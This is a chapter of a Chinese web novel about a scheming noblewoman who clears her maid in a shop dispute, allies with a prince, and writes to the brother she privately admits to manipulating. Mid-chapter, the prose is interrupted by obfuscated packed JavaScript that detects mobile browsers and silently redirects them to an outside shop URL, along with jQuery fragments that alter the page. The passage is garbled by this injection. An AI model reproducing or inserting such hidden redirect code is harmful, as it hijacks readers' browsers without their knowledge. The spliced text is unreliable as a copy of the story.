94. 修书

作品:《爱上万人迷他爹

    铺子里一时寂静,所有人都看着地上那摊粉玉碎片,又看看对峙的两人。


    甘棠眼中一丝惊慌闪过,她刚才确实没太留意身侧,只觉得有人靠近,接着就听到了玉碎之声。


    她看向温寂,急声道,“小姐,不是我。”


    她心中也有些委屈,但未与李真真高声争辩,她是婢女,吵架反而僭越了身份。


    一旁李真真见甘棠并未立刻反咬,更像是抓住了救命稻草,先声夺人道,“二小姐,真的不是我!我,我一点都没感觉到碰到什么!”


    薛素心看着两边,一边是温寂,虽说关系不比从前,但到底是昔日旧友,身份尊贵,更是温棋语的妹妹,另一边是她今日带出来的李真真,正陪着温棋语排琴曲,也算自己这边的人。


    如果打碎那粉玉的是温寂,她自然二话不说的站在温寂这边。


    可如今牵涉的是她的丫鬟,她们这些人又不像卢月锦那般跋扈不顾脸面,恐怕连温棋语站在这里都不知该如何处理。


    薛素心去挽温寂的胳膊,亲昵道,“真真今日是我从棋语姐那里带出来的,年纪小,或许毛躁了些。你那丫鬟平日也是个细心人,此事可能实属意外。”


    她顿了顿,想了个折中之法,“这粉玉看着也值些银子,不如看在我的面子上,一人一半?”


    一块粉玉对温寂来说实在不值钱,但她没有给别人买单的癖好。


    她冲着薛素心笑了笑,抽出手,转向在场其余几位贵女道,“甘棠说不是她,李小姐也说不是她。”


    “方才可有人看清了?这玉是如何落地的?”


    几位姑娘面面相觑,俱皆摇头。可能是真没看见,但也有可能是不愿卷入是非。


    温寂心下明了,她转而上前几步,目光投向柜台后侍立的几名伙计,温声问道,“方才可有人在近处伺候?可曾看到这边发生了何事?”


    她眼神有暗光波动,身后众人浑然不知。


    立马有机灵的仆从会意,走了出来,口齿清晰道,“回这位小姐的话,小的方才正在这边整理货架,恰好看到了。”


    他手指向李真真,“是这位小姐,转身时手肘碰到了柜台边摆着的粉玉。”


    他话一说出口,不止李真真,她身后另一名蓝衣女子眼中也闪过一丝慌乱。


    “你胡说!”


    李真真脸色陡变,尖声反驳,“我根本没有碰到什么,你,你这是污蔑!”


    温寂并不理会李真真的叫嚷,只看着那伙计,继续问道,“哦?你可看清了,李小姐是自己失手,还是…被旁人波及?”


    李真真却已慌了神,听到这话,反而反应过来,转口道,“对!对!我是被人撞了!我感觉到有人推了我一下!”


    话一出口,她自己也愣住了,这岂不是变相承认了玉是自己撞落的?


    那伙计搔了搔头,“这个…小的的确看不真切,只看到玉是被这位小姐撞落的。”


    温寂心中嗤笑,懒得同情她。她一开始就只是要把甘棠择出来,就算冤枉了李真真也不在意。


    不过看李真真这反应,恐怕也没冤枉到哪里去。


    至于李真真后面那个女子,是不是撞了李真真倒也不好分辨,反倒是动机是冲谁来的值得深究。


    这时,一直旁观的掌柜才走上前来,对着李真真道,“这位小姐,既然伙计指证,您也承认此事,小店本小利微,还请小姐照价赔偿。”


    他报出了一个数字,果然价格不菲。


    甘棠默默退到温寂身后。


    薛素心又凑上前来,与温寂对视一眼,


    “幸好你问了一句,也怪我,没弄清楚就下了结论。”


    温寂低声道,“你也是好心。”


    两人似乎又找回了点往日情谊,于是薛素心轻笑,“你什么时候来看看我们练的琴曲。”


    她们正说着,这时,门口进来一个高大男子,显然是没料到铺子里有这么多人,进门便是一愣。


    众人一见顾谨,纷纷行礼。


    一旁观察了半天的舒灵霞也是第一次见到皇子,顿时被顾谨惊艳了一瞬。


    可能是顾谨本身容貌和性格都还算不错,最近又涨了几分自信,乍一看上去,倒也显得养尊处优,气度温雅。


    就见顾谨摆了摆手,态度温和的让众人免了礼,便带着李忠抬步往二楼雅间走去。


    走到楼梯一半,却像是才看见温寂似的,转身问道,“温二小姐,之前宫宴过后母妃对你甚是喜爱,我正想为母妃挑件礼物,一时拿不定主意,温二小姐品味高雅,不知可否帮我参详一二?”


    他话说得自然,居然也学会了点表演的手段。


    这一番倒是惊了底下众人,大家都窃窃私语起来。


    二皇子近来风头渐起,自然也不少人开始把视线投到他身上。


    心中不免各自揣测,无不是觉得淑妃竟然如此看中温寂,亦或有人觉得顾谨是想向借机向温相示好。


    温寂等半天终于等到了人,和薛素心说了一句便跟着顾谨上了二楼。


    一进二楼雅间,关上门,顾谨便敛去了脸上那副不熟的表情,对着温寂笑道,“二小姐。”


    温寂问他,“殿下寻我过来,可有什么事?”


    顾谨让掌柜上了茶,取来几张图纸铺在桌上,拉着温寂的袖子让她到桌边坐下。


    “你来看看,掌柜和我说得了两颗品相极好的荧光暖玉,我打算用其中一颗为母妃做支簪子。”


    他指着图纸上的花样,“另外一颗就给你,你喜欢什么款式?我让工匠一并做了。”


    他神色奕奕,温寂心中有些无言,他把自己叫出来就是为了这个?


    她面上不显,只柔婉道,“殿下对淑妃娘娘已是一片孝心,只是我并不需要如此贵重之物。”


    顾谨却不依她,“这玉难得,据说对女子养身安神有奇效,不过一颗便已足够。另一颗闲置可惜,送你也是应当。”


    温寂想了想,觉得自己也算是代替淑妃尽了一把拉扯他的责任,她勾了勾唇角道,


    “多谢殿下,玉饰设计一般都是根据玉石本身来定,殿下让不如工匠自己安排。”


    顾谨听了觉得有理,点点头,“好,就依你。”


    他收起图纸,说起了正事,“你上次给我的那份矿脉图,我已经准备遣人去青州。”


    说着他有些迟疑,“只是我们的人在青州并无根基…”


    温寂今日本也想说这件事,她眸光流转,落在了桌面的茶盏上。


    像是沉吟了一瞬后,她软声开口,看向顾谨,“殿下,我兄长在青州,可以让他助您一臂之力。”


    顾谨一怔,眼神欣喜却又犹疑。


    当然,他不是不信任温寂,而是温寂和温洛并不一定在同一立场。丞相并未表示出支持他的意愿,温寂与他同盟,是因为私人情谊和如今类似同盟的更紧密的关系,但这并不代表整个相府的态度。


    而温洛作为丞相唯一的继承人,在这等大事上必定也慎之又慎,未必会轻易相助于他。


    温寂看出他的顾虑,缓声道,“殿下,兄长为人端方君子,殿下仁心仁德,兄长亦是敬佩于您。我修书与他,他会愿意助殿下一臂之力的。


    她如今就像一个为顾谨掏空自家家底的痴情女儿一般,顾谨心中感动,若真能让温洛帮他,对于他来说无疑是雪中送炭。


    “那就麻烦你了。”


    温寂闻言,温和一笑,“我与殿下之间,何须说什么麻不麻烦。”


    ……


    午后,温寂乘着马车回了府。


    一进门,侍女就迎上前来,递上一只洒金朱红的帖子。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936510|186864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“小姐,长公主府方才派人送来的。”侍女道,“长公主殿下寿辰,五日后请诸位小姐去参宴会。”


    温寂接过帖子,指尖在那上面描摹了一下,将它放在了一旁。转而坐去了案前,取过女学先生布置的课业题目,展了纸研墨。


    女学又要开学了,年中的时候她和温棋语就要结业。之后温棋语的亲事可能就要提上日程,也不知她能不能在这之前让丞相改变想法。


    窗外传来两声鸟鸣,时间不知不觉就过了半个时辰。她将写满字的纸页移到一旁晾干。又从抽屉深处抽出了两张信纸,犹豫后终于落下了笔。


    她垂目,提笔修书给了温洛。


    她很少写信给他,如今好不容易写了一次居然也不是为了关心。


    写罢,她轻轻吹干了墨迹,装入了信封。


    等甘棠端了新沏的桂花茶进屋,就见自家小姐靠在窗边的躺椅上,手中拿着两封信,垂着眼眸,神色有些恹恹。


    小心将茶放在小几上,甘棠正欲悄然退下,就听身后幽幽声音响起。


    “你说,我是不是一个很坏的人。”


    还未来得及接话,又听见一声低喃。


    “我总是欺负他。”


    甘棠一愣,“小姐你说什么呢。”


    “温洛,我说温洛。”


    甘棠似乎对她直呼兄长名姓也不太讶异,只问道,“大公子怎么了?”


    温寂轻吁了口气,将身体陷入躺椅的锦背之中,“你还记得我幼时在姑苏,大佛寺进香那次,意外受伤的事吗?”


    甘棠想了想,犹豫道,“…好像是有那么回事。”


    温寂倒也没在乎她是不是真的记起来了,只道,“那次捉迷藏,是我提议要去的。我知道温洛急切的去关心长姐的伤,是担心长辈们会责怪我。”


    其实她一直都明白,温洛只是不知道她也受了伤,如果他知道的话,以他对她的关心,应该也会很心疼。


    “但我不想他好过,后来有机会我也没有告诉他,不是因为害怕他心疼。”


    “而是即使他不知道这件事,我也有了理由去折磨他。”


    “我知道他爱我。”


    ……


    她无法去形容她对温棋语的恶意,她的姐姐越是完美的像圣人,就显得她越低劣而扭曲。


    一切的发展似乎都没人有错,优秀的人吸引更多的爱与关注,而她一旦将这恶意显露出来,就会显得无理取闹又毫无道理。


    反而更像是承认失败。


    温洛是唯一一个,让她觉得应该更喜欢她的人。


    于是温洛每对温棋语好一点,在她眼里就多亏欠她一分。


    她看不惯温洛对沈玉娇关心,所以把那件事情当作谈资说给了她听,沈玉娇心生芥蒂,便疏远了温洛。


    而她那天真无邪的哥哥,还在为她阴晴不定的疏远而痛苦迷茫,却始终找不到缘由。


    当她终于大发慈悲的与他和解,却仍然不是真的因为心疼他。


    这世界上所有的人除了温洛都不可信,所以她刺激他去了青州。


    她在他留下的那些眼线面前表演悲伤,表演对他的思念和维护,只是为了促使他与他敬爱的父亲生出隔阂。


    因为她知道,丞相不一定会站在她一边,但丞相也是会老的。


    而即使温洛和郗绍一样,骨子里是端方正直的君子。


    但只要他觉得她在痛苦,那他就可以抛弃他的原则。


    ……


    甘棠道,“小姐您那怎么叫欺负呢,大少爷做的大多数事情,可都是他心甘情愿的。”


    温寂闻言,扯了扯嘴角,想了一下,竟然觉得有道理,闭眼道,


    “你说的对。”


    她将那两封信叠好,轻轻按在胸口。


    只能怪她的哥哥太好骗了。